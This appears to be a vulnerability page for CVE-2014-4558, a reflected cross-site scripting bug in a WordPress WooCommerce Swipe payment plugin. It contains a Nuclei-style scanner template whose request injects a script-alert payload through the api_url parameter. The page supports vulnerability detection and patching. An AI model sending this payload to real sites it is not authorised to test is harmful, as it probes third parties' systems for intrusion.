CVE-2014-4558: WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting

2025-08-01 WooCommerce Swipe PoC Public

Description

A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter.

PoC

id: CVE-2014-4558

info:
  name: WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to WooCommerce Swipe plugin version 2.7.2 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/37d7936a-165f-4c37-84a6-7ba5b59a0301
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4558
    - http://codevigilant.com/disclosure/wp-plugin-swipehq-payment-gateway-woocommerce-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4558
    cwe-id: CWE-79
    epss-score: 0.0421
    epss-percentile: 0.90465
    cpe: cpe:2.3:a:cybercompany:swipehq-payment-gateway-woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cybercompany
    product: "swipehq-payment-gateway-woocommerce"
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,woocommerce,unauth,cybercompany,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/swipehq-payment-gateway-woocommerce/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220794eea03e529c9668ea3403ffb078c5dc64ce8ea8fb85e3aac4811feb99eada602202e3e3f119e74a7c52e9a2323cc248eb75773a853e15a9f093cdf58266ce9a89c:922c64590222798bb761d5b6d8e72950

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